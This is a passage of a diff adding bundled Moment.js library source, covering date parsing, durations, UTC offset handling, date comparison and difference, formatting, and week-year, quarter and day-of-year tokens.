+    if (input === null || (format === undefined && input === '')) {
+        return createInvalid({nullInput: true});
+    }
+
+    if (typeof input === 'string') {
+        config._i = input = config._locale.preparse(input);
+    }
+
+    if (isMoment(input)) {
+        return new Moment(checkOverflow(input));
+    } else if (isDate(input)) {
+        config._d = input;
+    } else if (isArray(format)) {
+        configFromStringAndArray(config);
+    } else if (format) {
+        configFromStringAndFormat(config);
+    }  else {
+        configFromInput(config);
+    }
+
+    if (!isValid(config)) {
+        config._d = null;
+    }
+
+    return config;
+}
+
+function configFromInput(config) {
+    var input = config._i;
+    if (isUndefined(input)) {
+        config._d = new Date(hooks.now());
+    } else if (isDate(input)) {
+        config._d = new Date(input.valueOf());
+    } else if (typeof input === 'string') {
+        configFromString(config);
+    } else if (isArray(input)) {
+        config._a = map(input.slice(0), function (obj) {
+            return parseInt(obj, 10);
+        });
+        configFromArray(config);
+    } else if (isObject(input)) {
+        configFromObject(config);
+    } else if (isNumber(input)) {
+        // from milliseconds
+        config._d = new Date(input);
+    } else {
+        hooks.createFromInputFallback(config);
+    }
+}
+
+function createLocalOrUTC (input, format, locale, strict, isUTC) {
+    var c = {};
+
+    if (locale === true || locale === false) {
+        strict = locale;
+        locale = undefined;
+    }
+
+    if ((isObject(input) && isObjectEmpty(input)) ||
+            (isArray(input) && input.length === 0)) {
+        input = undefined;
+    }
+    // object construction must be done this way.
+    // https://github.com/moment/moment/issues/1423
+    c._isAMomentObject = true;
+    c._useUTC = c._isUTC = isUTC;
+    c._l = locale;
+    c._i = input;
+    c._f = format;
+    c._strict = strict;
+
+    return createFromConfig(c);
+}
+
+function createLocal (input, format, locale, strict) {
+    return createLocalOrUTC(input, format, locale, strict, false);
+}
+
+var prototypeMin = deprecate(
+    'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/',
+    function () {
+        var other = createLocal.apply(null, arguments);
+        if (this.isValid() && other.isValid()) {
+            return other < this ? this : other;
+        } else {
+            return createInvalid();
+        }
+    }
+);
+
+var prototypeMax = deprecate(
+    'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/',
+    function () {
+        var other = createLocal.apply(null, arguments);
+        if (this.isValid() && other.isValid()) {
+            return other > this ? this : other;
+        } else {
+            return createInvalid();
+        }
+    }
+);
+
+// Pick a moment m from moments so that m[fn](other) is true for all
+// other. This relies on the function fn to be transitive.
+//
+// moments should either be an array of moment objects or an array, whose
+// first element is an array of moment objects.
+function pickBy(fn, moments) {
+    var res, i;
+    if (moments.length === 1 && isArray(moments[0])) {
+        moments = moments[0];
+    }
+    if (!moments.length) {
+        return createLocal();
+    }
+    res = moments[0];
+    for (i = 1; i < moments.length; ++i) {
+        if (!moments[i].isValid() || moments[i][fn](res)) {
+            res = moments[i];
+        }
+    }
+    return res;
+}
+
+// TODO: Use [].sort instead?
+function min () {
+    var args = [].slice.call(arguments, 0);
+
+    return pickBy('isBefore', args);
+}
+
+function max () {
+    var args = [].slice.call(arguments, 0);
+
+    return pickBy('isAfter', args);
+}
+
+var now = function () {
+    return Date.now ? Date.now() : +(new Date());
+};
+
+var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond'];
+
+function isDurationValid(m) {
+    for (var key in m) {
+        if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) {
+            return false;
+        }
+    }
+
+    var unitHasDecimal = false;
+    for (var i = 0; i < ordering.length; ++i) {
+        if (m[ordering[i]]) {
+            if (unitHasDecimal) {
+                return false; // only allow non-integers for smallest unit
+            }
+            if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) {
+                unitHasDecimal = true;
+            }
+        }
+    }
+
+    return true;
+}
+
+function isValid$1() {
+    return this._isValid;
+}
+
+function createInvalid$1() {
+    return createDuration(NaN);
+}
+
+function Duration (duration) {
+    var normalizedInput = normalizeObjectUnits(duration),
+        years = normalizedInput.year || 0,
+        quarters = normalizedInput.quarter || 0,
+        months = normalizedInput.month || 0,
+        weeks = normalizedInput.week || 0,
+        days = normalizedInput.day || 0,
+        hours = normalizedInput.hour || 0,
+        minutes = normalizedInput.minute || 0,
+        seconds = normalizedInput.second || 0,
+        milliseconds = normalizedInput.millisecond || 0;
+
+    this._isValid = isDurationValid(normalizedInput);
+
+    // representation for dateAddRemove
+    this._milliseconds = +milliseconds +
+        seconds * 1e3 + // 1000
+        minutes * 6e4 + // 1000 * 60
+        hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978
+    // Because of dateAddRemove treats 24 hours as different from a
+    // day when working around DST, we need to store them separately
+    this._days = +days +
+        weeks * 7;
+    // It is impossible to translate months into days without knowing
+    // which months you are are talking about, so we have to store
+    // it separately.
+    this._months = +months +
+        quarters * 3 +
+        years * 12;
+
+    this._data = {};
+
+    this._locale = getLocale();
+
+    this._bubble();
+}
+
+function isDuration (obj) {
+    return obj instanceof Duration;
+}
+
+function absRound (number) {
+    if (number < 0) {
+        return Math.round(-1 * number) * -1;
+    } else {
+        return Math.round(number);
+    }
+}
+
+// FORMATTING
+
+function offset (token, separator) {
+    addFormatToken(token, 0, 0, function () {
+        var offset = this.utcOffset();
+        var sign = '+';
+        if (offset < 0) {
+            offset = -offset;
+            sign = '-';
+        }
+        return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2);
+    });
+}
+
+offset('Z', ':');
+offset('ZZ', '');
+
+// PARSING
+
+addRegexToken('Z',  matchShortOffset);
+addRegexToken('ZZ', matchShortOffset);
+addParseToken(['Z', 'ZZ'], function (input, array, config) {
+    config._useUTC = true;
+    config._tzm = offsetFromString(matchShortOffset, input);
+});
+
+// HELPERS
+
+// timezone chunker
+// '+10:00' > ['10',  '00']
+// '-1530'  > ['-15', '30']
+var chunkOffset = /([\+\-]|\d\d)/gi;
+
+function offsetFromString(matcher, string) {
+    var matches = (string || '').match(matcher);
+
+    if (matches === null) {
+        return null;
+    }
+
+    var chunk   = matches[matches.length - 1] || [];
+    var parts   = (chunk + '').match(chunkOffset) || ['-', 0, 0];
+    var minutes = +(parts[1] * 60) + toInt(parts[2]);
+
+    return minutes === 0 ?
+      0 :
+      parts[0] === '+' ? minutes : -minutes;
+}
+
+// Return a moment from input, that is local/utc/zone equivalent to model.
+function cloneWithOffset(input, model) {
+    var res, diff;
+    if (model._isUTC) {
+        res = model.clone();
+        diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf();
+        // Use low-level api, because this fn is low-level api.
+        res._d.setTime(res._d.valueOf() + diff);
+        hooks.updateOffset(res, false);
+        return res;
+    } else {
+        return createLocal(input).local();
+    }
+}
+
+function getDateOffset (m) {
+    // On Firefox.24 Date#getTimezoneOffset returns a floating point.
+    // https://github.com/moment/moment/pull/1871
+    return -Math.round(m._d.getTimezoneOffset() / 15) * 15;
+}
+
+// HOOKS
+
+// This function will be called whenever a moment is mutated.
+// It is intended to keep the offset in sync with the timezone.
+hooks.updateOffset = function () {};
+
+// MOMENTS
+
+// keepLocalTime = true means only change the timezone, without
+// affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]-->
+// 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset
+// +0200, so we adjust the time as needed, to be valid.
+//
+// Keeping the time actually adds/subtracts (one hour)
+// from the actual represented time. That is why we call updateOffset
+// a second time. In case it wants us to change the offset again
+// _changeInProgress == true case, then we have to adjust, because
+// there is no such time in the given timezone.
+function getSetOffset (input, keepLocalTime, keepMinutes) {
+    var offset = this._offset || 0,
+        localAdjust;
+    if (!this.isValid()) {
+        return input != null ? this : NaN;
+    }
+    if (input != null) {
+        if (typeof input === 'string') {
+            input = offsetFromString(matchShortOffset, input);
+            if (input === null) {
+                return this;
+            }
+        } else if (Math.abs(input) < 16 && !keepMinutes) {
+            input = input * 60;
+        }
+        if (!this._isUTC && keepLocalTime) {
+            localAdjust = getDateOffset(this);
+        }
+        this._offset = input;
+        this._isUTC = true;
+        if (localAdjust != null) {
+            this.add(localAdjust, 'm');
+        }
+        if (offset !== input) {
+            if (!keepLocalTime || this._changeInProgress) {
+                addSubtract(this, createDuration(input - offset, 'm'), 1, false);
+            } else if (!this._changeInProgress) {
+                this._changeInProgress = true;
+                hooks.updateOffset(this, true);
+                this._changeInProgress = null;
+            }
+        }
+        return this;
+    } else {
+        return this._isUTC ? offset : getDateOffset(this);
+    }
+}
+
+function getSetZone (input, keepLocalTime) {
+    if (input != null) {
+        if (typeof input !== 'string') {
+            input = -input;
+        }
+
+        this.utcOffset(input, keepLocalTime);
+
+        return this;
+    } else {
+        return -this.utcOffset();
+    }
+}
+
+function setOffsetToUTC (keepLocalTime) {
+    return this.utcOffset(0, keepLocalTime);
+}
+
+function setOffsetToLocal (keepLocalTime) {
+    if (this._isUTC) {
+        this.utcOffset(0, keepLocalTime);
+        this._isUTC = false;
+
+        if (keepLocalTime) {
+            this.subtract(getDateOffset(this), 'm');
+        }
+    }
+    return this;
+}
+
+function setOffsetToParsedOffset () {
+    if (this._tzm != null) {
+        this.utcOffset(this._tzm, false, true);
+    } else if (typeof this._i === 'string') {
+        var tZone = offsetFromString(matchOffset, this._i);
+        if (tZone != null) {
+            this.utcOffset(tZone);
+        }
+        else {
+            this.utcOffset(0, true);
+        }
+    }
+    return this;
+}
+
+function hasAlignedHourOffset (input) {
+    if (!this.isValid()) {
+        return false;
+    }
+    input = input ? createLocal(input).utcOffset() : 0;
+
+    return (this.utcOffset() - input) % 60 === 0;
+}
+
+function isDaylightSavingTime () {
+    return (
+        this.utcOffset() > this.clone().month(0).utcOffset() ||
+        this.utcOffset() > this.clone().month(5).utcOffset()
+    );
+}
+
+function isDaylightSavingTimeShifted () {
+    if (!isUndefined(this._isDSTShifted)) {
+        return this._isDSTShifted;
+    }
+
+    var c = {};
+
+    copyConfig(c, this);
+    c = prepareConfig(c);
+
+    if (c._a) {
+        var other = c._isUTC ? createUTC(c._a) : createLocal(c._a);
+        this._isDSTShifted = this.isValid() &&
+            compareArrays(c._a, other.toArray()) > 0;
+    } else {
+        this._isDSTShifted = false;
+    }
+
+    return this._isDSTShifted;
+}
+
+function isLocal () {
+    return this.isValid() ? !this._isUTC : false;
+}
+
+function isUtcOffset () {
+    return this.isValid() ? this._isUTC : false;
+}
+
+function isUtc () {
+    return this.isValid() ? this._isUTC && this._offset === 0 : false;
+
+}
+
+// ASP.NET json date format regex
+var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/;
+
+// from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html
+// somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere
+// and further modified to allow for strings containing both week and day
+var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;
+
+function createDuration (input, key) {
+    var duration = input,
+        // matching against regexp is expensive, do it on demand
+        match = null,
+        sign,
+        ret,
+        diffRes;
+
+    if (isDuration(input)) {
+        duration = {
+            ms : input._milliseconds,
+            d  : input._days,
+            M  : input._months
+        };
+    } else if (isNumber(input)) {
+        duration = {};
+        if (key) {
+            duration[key] = input;
+        } else {
+            duration.milliseconds = input;
+        }
+    } else if (!!(match = aspNetRegex.exec(input))) {
+        sign = (match[1] === '-') ? -1 : 1;
+        duration = {
+            y  : 0,
+            d  : toInt(match[DATE])                         * sign,
+            h  : toInt(match[HOUR])                         * sign,
+            m  : toInt(match[MINUTE])                       * sign,
+            s  : toInt(match[SECOND])                       * sign,
+            ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match
+        };
+    } else if (!!(match = isoRegex.exec(input))) {
+        sign = (match[1] === '-') ? -1 : (match[1] === '+') ? 1 : 1;
+        duration = {
+            y : parseIso(match[2], sign),
+            M : parseIso(match[3], sign),
+            w : parseIso(match[4], sign),
+            d : parseIso(match[5], sign),
+            h : parseIso(match[6], sign),
+            m : parseIso(match[7], sign),
+            s : parseIso(match[8], sign)
+        };
+    } else if (duration == null) {// checks for null or undefined
+        duration = {};
+    } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) {
+        diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to));
+
+        duration = {};
+        duration.ms = diffRes.milliseconds;
+        duration.M = diffRes.months;
+    }
+
+    ret = new Duration(duration);
+
+    if (isDuration(input) && hasOwnProp(input, '_locale')) {
+        ret._locale = input._locale;
+    }
+
+    return ret;
+}
+
+createDuration.fn = Duration.prototype;
+createDuration.invalid = createInvalid$1;
+
+function parseIso (inp, sign) {
+    // We'd normally use ~~inp for this, but unfortunately it also
+    // converts floats to ints.
+    // inp may be undefined, so careful calling replace on it.
+    var res = inp && parseFloat(inp.replace(',', '.'));
+    // apply sign while we're at it
+    return (isNaN(res) ? 0 : res) * sign;
+}
+
+function positiveMomentsDifference(base, other) {
+    var res = {milliseconds: 0, months: 0};
+
+    res.months = other.month() - base.month() +
+        (other.year() - base.year()) * 12;
+    if (base.clone().add(res.months, 'M').isAfter(other)) {
+        --res.months;
+    }
+
+    res.milliseconds = +other - +(base.clone().add(res.months, 'M'));
+
+    return res;
+}
+
+function momentsDifference(base, other) {
+    var res;
+    if (!(base.isValid() && other.isValid())) {
+        return {milliseconds: 0, months: 0};
+    }
+
+    other = cloneWithOffset(other, base);
+    if (base.isBefore(other)) {
+        res = positiveMomentsDifference(base, other);
+    } else {
+        res = positiveMomentsDifference(other, base);
+        res.milliseconds = -res.milliseconds;
+        res.months = -res.months;
+    }
+
+    return res;
+}
+
+// TODO: remove 'name' arg after deprecation is removed
+function createAdder(direction, name) {
+    return function (val, period) {
+        var dur, tmp;
+        //invert the arguments, but complain about it
+        if (period !== null && !isNaN(+period)) {
+            deprecateSimple(name, 'moment().' + name  + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' +
+            'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.');
+            tmp = val; val = period; period = tmp;
+        }
+
+        val = typeof val === 'string' ? +val : val;
+        dur = createDuration(val, period);
+        addSubtract(this, dur, direction);
+        return this;
+    };
+}
+
+function addSubtract (mom, duration, isAdding, updateOffset) {
+    var milliseconds = duration._milliseconds,
+        days = absRound(duration._days),
+        months = absRound(duration._months);
+
+    if (!mom.isValid()) {
+        // No op
+        return;
+    }
+
+    updateOffset = updateOffset == null ? true : updateOffset;
+
+    if (months) {
+        setMonth(mom, get(mom, 'Month') + months * isAdding);
+    }
+    if (days) {
+        set$1(mom, 'Date', get(mom, 'Date') + days * isAdding);
+    }
+    if (milliseconds) {
+        mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding);
+    }
+    if (updateOffset) {
+        hooks.updateOffset(mom, days || months);
+    }
+}
+
+var add      = createAdder(1, 'add');
+var subtract = createAdder(-1, 'subtract');
+
+function getCalendarFormat(myMoment, now) {
+    var diff = myMoment.diff(now, 'days', true);
+    return diff < -6 ? 'sameElse' :
+            diff < -1 ? 'lastWeek' :
+            diff < 0 ? 'lastDay' :
+            diff < 1 ? 'sameDay' :
+            diff < 2 ? 'nextDay' :
+            diff < 7 ? 'nextWeek' : 'sameElse';
+}
+
+function calendar$1 (time, formats) {
+    // We want to compare the start of today, vs this.
+    // Getting start-of-today depends on whether we're local/utc/offset or not.
+    var now = time || createLocal(),
+        sod = cloneWithOffset(now, this).startOf('day'),
+        format = hooks.calendarFormat(this, sod) || 'sameElse';
+
+    var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]);
+
+    return this.format(output || this.localeData().calendar(format, this, createLocal(now)));
+}
+
+function clone () {
+    return new Moment(this);
+}
+
+function isAfter (input, units) {
+    var localInput = isMoment(input) ? input : createLocal(input);
+    if (!(this.isValid() && localInput.isValid())) {
+        return false;
+    }
+    units = normalizeUnits(!isUndefined(units) ? units : 'millisecond');
+    if (units === 'millisecond') {
+        return this.valueOf() > localInput.valueOf();
+    } else {
+        return localInput.valueOf() < this.clone().startOf(units).valueOf();
+    }
+}
+
+function isBefore (input, units) {
+    var localInput = isMoment(input) ? input : createLocal(input);
+    if (!(this.isValid() && localInput.isValid())) {
+        return false;
+    }
+    units = normalizeUnits(!isUndefined(units) ? units : 'millisecond');
+    if (units === 'millisecond') {
+        return this.valueOf() < localInput.valueOf();
+    } else {
+        return this.clone().endOf(units).valueOf() < localInput.valueOf();
+    }
+}
+
+function isBetween (from, to, units, inclusivity) {
+    inclusivity = inclusivity || '()';
+    return (inclusivity[0] === '(' ? this.isAfter(from, units) : !this.isBefore(from, units)) &&
+        (inclusivity[1] === ')' ? this.isBefore(to, units) : !this.isAfter(to, units));
+}
+
+function isSame (input, units) {
+    var localInput = isMoment(input) ? input : createLocal(input),
+        inputMs;
+    if (!(this.isValid() && localInput.isValid())) {
+        return false;
+    }
+    units = normalizeUnits(units || 'millisecond');
+    if (units === 'millisecond') {
+        return this.valueOf() === localInput.valueOf();
+    } else {
+        inputMs = localInput.valueOf();
+        return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf();
+    }
+}
+
+function isSameOrAfter (input, units) {
+    return this.isSame(input, units) || this.isAfter(input,units);
+}
+
+function isSameOrBefore (input, units) {
+    return this.isSame(input, units) || this.isBefore(input,units);
+}
+
+function diff (input, units, asFloat) {
+    var that,
+        zoneDelta,
+        delta, output;
+
+    if (!this.isValid()) {
+        return NaN;
+    }
+
+    that = cloneWithOffset(input, this);
+
+    if (!that.isValid()) {
+        return NaN;
+    }
+
+    zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4;
+
+    units = normalizeUnits(units);
+
+    switch (units) {
+        case 'year': output = monthDiff(this, that) / 12; break;
+        case 'month': output = monthDiff(this, that); break;
+        case 'quarter': output = monthDiff(this, that) / 3; break;
+        case 'second': output = (this - that) / 1e3; break; // 1000
+        case 'minute': output = (this - that) / 6e4; break; // 1000 * 60
+        case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60
+        case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst
+        case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst
+        default: output = this - that;
+    }
+
+    return asFloat ? output : absFloor(output);
+}
+
+function monthDiff (a, b) {
+    // difference in months
+    var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()),
+        // b is in (anchor - 1 month, anchor + 1 month)
+        anchor = a.clone().add(wholeMonthDiff, 'months'),
+        anchor2, adjust;
+
+    if (b - anchor < 0) {
+        anchor2 = a.clone().add(wholeMonthDiff - 1, 'months');
+        // linear across the month
+        adjust = (b - anchor) / (anchor - anchor2);
+    } else {
+        anchor2 = a.clone().add(wholeMonthDiff + 1, 'months');
+        // linear across the month
+        adjust = (b - anchor) / (anchor2 - anchor);
+    }
+
+    //check for negative zero, return zero if negative zero
+    return -(wholeMonthDiff + adjust) || 0;
+}
+
+hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ';
+hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]';
+
+function toString () {
+    return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ');
+}
+
+function toISOString(keepOffset) {
+    if (!this.isValid()) {
+        return null;
+    }
+    var utc = keepOffset !== true;
+    var m = utc ? this.clone().utc() : this;
+    if (m.year() < 0 || m.year() > 9999) {
+        return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ');
+    }
+    if (isFunction(Date.prototype.toISOString)) {
+        // native implementation is ~50x faster, use it when we can
+        if (utc) {
+            return this.toDate().toISOString();
+        } else {
+            return new Date(this._d.valueOf()).toISOString().replace('Z', formatMoment(m, 'Z'));
+        }
+    }
+    return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ');
+}
+
+/**
+ * Return a human readable representation of a moment that can
+ * also be evaluated to get a new moment which is the same
+ *
+ * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects
+ */
+function inspect () {
+    if (!this.isValid()) {
+        return 'moment.invalid(/* ' + this._i + ' */)';
+    }
+    var func = 'moment';
+    var zone = '';
+    if (!this.isLocal()) {
+        func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone';
+        zone = 'Z';
+    }
+    var prefix = '[' + func + '("]';
+    var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY';
+    var datetime = '-MM-DD[T]HH:mm:ss.SSS';
+    var suffix = zone + '[")]';
+
+    return this.format(prefix + year + datetime + suffix);
+}
+
+function format (inputString) {
+    if (!inputString) {
+        inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat;
+    }
+    var output = formatMoment(this, inputString);
+    return this.localeData().postformat(output);
+}
+
+function from (time, withoutSuffix) {
+    if (this.isValid() &&
+            ((isMoment(time) && time.isValid()) ||
+             createLocal(time).isValid())) {
+        return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix);
+    } else {
+        return this.localeData().invalidDate();
+    }
+}
+
+function fromNow (withoutSuffix) {
+    return this.from(createLocal(), withoutSuffix);
+}
+
+function to (time, withoutSuffix) {
+    if (this.isValid() &&
+            ((isMoment(time) && time.isValid()) ||
+             createLocal(time).isValid())) {
+        return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix);
+    } else {
+        return this.localeData().invalidDate();
+    }
+}
+
+function toNow (withoutSuffix) {
+    return this.to(createLocal(), withoutSuffix);
+}
+
+// If passed a locale key, it will set the locale for this
+// instance.  Otherwise, it will return the locale configuration
+// variables for this instance.
+function locale (key) {
+    var newLocaleData;
+
+    if (key === undefined) {
+        return this._locale._abbr;
+    } else {
+        newLocaleData = getLocale(key);
+        if (newLocaleData != null) {
+            this._locale = newLocaleData;
+        }
+        return this;
+    }
+}
+
+var lang = deprecate(
+    'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.',
+    function (key) {
+        if (key === undefined) {
+            return this.localeData();
+        } else {
+            return this.locale(key);
+        }
+    }
+);
+
+function localeData () {
+    return this._locale;
+}
+
+function startOf (units) {
+    units = normalizeUnits(units);
+    // the following switch intentionally omits break keywords
+    // to utilize falling through the cases.
+    switch (units) {
+        case 'year':
+            this.month(0);
+            /* falls through */
+        case 'quarter':
+        case 'month':
+            this.date(1);
+            /* falls through */
+        case 'week':
+        case 'isoWeek':
+        case 'day':
+        case 'date':
+            this.hours(0);
+            /* falls through */
+        case 'hour':
+            this.minutes(0);
+            /* falls through */
+        case 'minute':
+            this.seconds(0);
+            /* falls through */
+        case 'second':
+            this.milliseconds(0);
+    }
+
+    // weeks are a special case
+    if (units === 'week') {
+        this.weekday(0);
+    }
+    if (units === 'isoWeek') {
+        this.isoWeekday(1);
+    }
+
+    // quarters are also special
+    if (units === 'quarter') {
+        this.month(Math.floor(this.month() / 3) * 3);
+    }
+
+    return this;
+}
+
+function endOf (units) {
+    units = normalizeUnits(units);
+    if (units === undefined || units === 'millisecond') {
+        return this;
+    }
+
+    // 'date' is an alias for 'day', so it should be considered as such.
+    if (units === 'date') {
+        units = 'day';
+    }
+
+    return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms');
+}
+
+function valueOf () {
+    return this._d.valueOf() - ((this._offset || 0) * 60000);
+}
+
+function unix () {
+    return Math.floor(this.valueOf() / 1000);
+}
+
+function toDate () {
+    return new Date(this.valueOf());
+}
+
+function toArray () {
+    var m = this;
+    return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()];
+}
+
+function toObject () {
+    var m = this;
+    return {
+        years: m.year(),
+        months: m.month(),
+        date: m.date(),
+        hours: m.hours(),
+        minutes: m.minutes(),
+        seconds: m.seconds(),
+        milliseconds: m.milliseconds()
+    };
+}
+
+function toJSON () {
+    // new Date(NaN).toJSON() === null
+    return this.isValid() ? this.toISOString() : null;
+}
+
+function isValid$2 () {
+    return isValid(this);
+}
+
+function parsingFlags () {
+    return extend({}, getParsingFlags(this));
+}
+
+function invalidAt () {
+    return getParsingFlags(this).overflow;
+}
+
+function creationData() {
+    return {
+        input: this._i,
+        format: this._f,
+        locale: this._locale,
+        isUTC: this._isUTC,
+        strict: this._strict
+    };
+}
+
+// FORMATTING
+
+addFormatToken(0, ['gg', 2], 0, function () {
+    return this.weekYear() % 100;
+});
+
+addFormatToken(0, ['GG', 2], 0, function () {
+    return this.isoWeekYear() % 100;
+});
+
+function addWeekYearFormatToken (token, getter) {
+    addFormatToken(0, [token, token.length], 0, getter);
+}
+
+addWeekYearFormatToken('gggg',     'weekYear');
+addWeekYearFormatToken('ggggg',    'weekYear');
+addWeekYearFormatToken('GGGG',  'isoWeekYear');
+addWeekYearFormatToken('GGGGG', 'isoWeekYear');
+
+// ALIASES
+
+addUnitAlias('weekYear', 'gg');
+addUnitAlias('isoWeekYear', 'GG');
+
+// PRIORITY
+
+addUnitPriority('weekYear', 1);
+addUnitPriority('isoWeekYear', 1);
+
+
+// PARSING
+
+addRegexToken('G',      matchSigned);
+addRegexToken('g',      matchSigned);
+addRegexToken('GG',     match1to2, match2);
+addRegexToken('gg',     match1to2, match2);
+addRegexToken('GGGG',   match1to4, match4);
+addRegexToken('gggg',   match1to4, match4);
+addRegexToken('GGGGG',  match1to6, match6);
+addRegexToken('ggggg',  match1to6, match6);
+
+addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) {
+    week[token.substr(0, 2)] = toInt(input);
+});
+
+addWeekParseToken(['gg', 'GG'], function (input, week, config, token) {
+    week[token] = hooks.parseTwoDigitYear(input);
+});
+
+// MOMENTS
+
+function getSetWeekYear (input) {
+    return getSetWeekYearHelper.call(this,
+            input,
+            this.week(),
+            this.weekday(),
+            this.localeData()._week.dow,
+            this.localeData()._week.doy);
+}
+
+function getSetISOWeekYear (input) {
+    return getSetWeekYearHelper.call(this,
+            input, this.isoWeek(), this.isoWeekday(), 1, 4);
+}
+
+function getISOWeeksInYear () {
+    return weeksInYear(this.year(), 1, 4);
+}
+
+function getWeeksInYear () {
+    var weekInfo = this.localeData()._week;
+    return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy);
+}
+
+function getSetWeekYearHelper(input, week, weekday, dow, doy) {
+    var weeksTarget;
+    if (input == null) {
+        return weekOfYear(this, dow, doy).year;
+    } else {
+        weeksTarget = weeksInYear(input, dow, doy);
+        if (week > weeksTarget) {
+            week = weeksTarget;
+        }
+        return setWeekAll.call(this, input, week, weekday, dow, doy);
+    }
+}
+
+function setWeekAll(weekYear, week, weekday, dow, doy) {
+    var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy),
+        date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear);
+
+    this.year(date.getUTCFullYear());
+    this.month(date.getUTCMonth());
+    this.date(date.getUTCDate());
+    return this;
+}
+
+// FORMATTING
+
+addFormatToken('Q', 0, 'Qo', 'quarter');
+
+// ALIASES
+
+addUnitAlias('quarter', 'Q');
+
+// PRIORITY
+
+addUnitPriority('quarter', 7);
+
+// PARSING
+
+addRegexToken('Q', match1);
+addParseToken('Q', function (input, array) {
+    array[MONTH] = (toInt(input) - 1) * 3;
+});
+
+// MOMENTS
+
+function getSetQuarter (input) {
+    return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3);
+}
+
+// FORMATTING
+
+addFormatToken('D', ['DD', 2], 'Do', 'date');
+
+// ALIASES
+
+addUnitAlias('date', 'D');
+
+// PRIOROITY
+addUnitPriority('date', 9);
+
+// PARSING
+
+addRegexToken('D',  match1to2);
+addRegexToken('DD', match1to2, match2);
+addRegexToken('Do', function (isStrict, locale) {
+    // TODO: Remove "ordinalParse" fallback in next major release.
+    return isStrict ?
+      (locale._dayOfMonthOrdinalParse || locale._ordinalParse) :
+      locale._dayOfMonthOrdinalParseLenient;
+});
+
+addParseToken(['D', 'DD'], DATE);
+addParseToken('Do', function (input, array) {
+    array[DATE] = toInt(input.match(match1to2)[0]);
+});
+
+// MOMENTS
+
+var getSetDayOfMonth = makeGetSet('Date', true);
+
+// FORMATTING
+
+addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear');
+
+// ALIASES
+
+addUnitAlias('dayOfYear', 'DDD');
+
+// PRIORITY
+addUnitPriority('dayOfYear', 4);
+
+// PARSING
+
+addRegexToken('DDD',  match1to3);
+addRegexToken('DDDD', match3);
+addParseToken(['DDD', 'DDDD'], function (input, array, config) {
+    config._dayOfYear = toInt(input);
+});
+
+// HELPERS
+
+// MOMENTS
+
+function getSetDayOfYear (input) {
+    var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1;
+    return input == null ? dayOfYear : this.add((input - dayOfYear), 'd');
+}
+
+// FORMATTING
+
+addFormatToken('m', ['mm', 2], 0, 'minute');
+
+// ALIASES
+
+addUnitAlias('minute', 'm');
+
+// PRIORITY
+
+addUnitPriority('minute', 14);
+
+// PARSING
+
+addRegexToken('m',  match1to2);
+addRegexToken('mm', match1to2, match2);
+addParseToken(['m', 'mm'], MINUTE);
+
+// MOMENTS
+
+var getSetMinute = makeGetSet('Minutes', false);
+
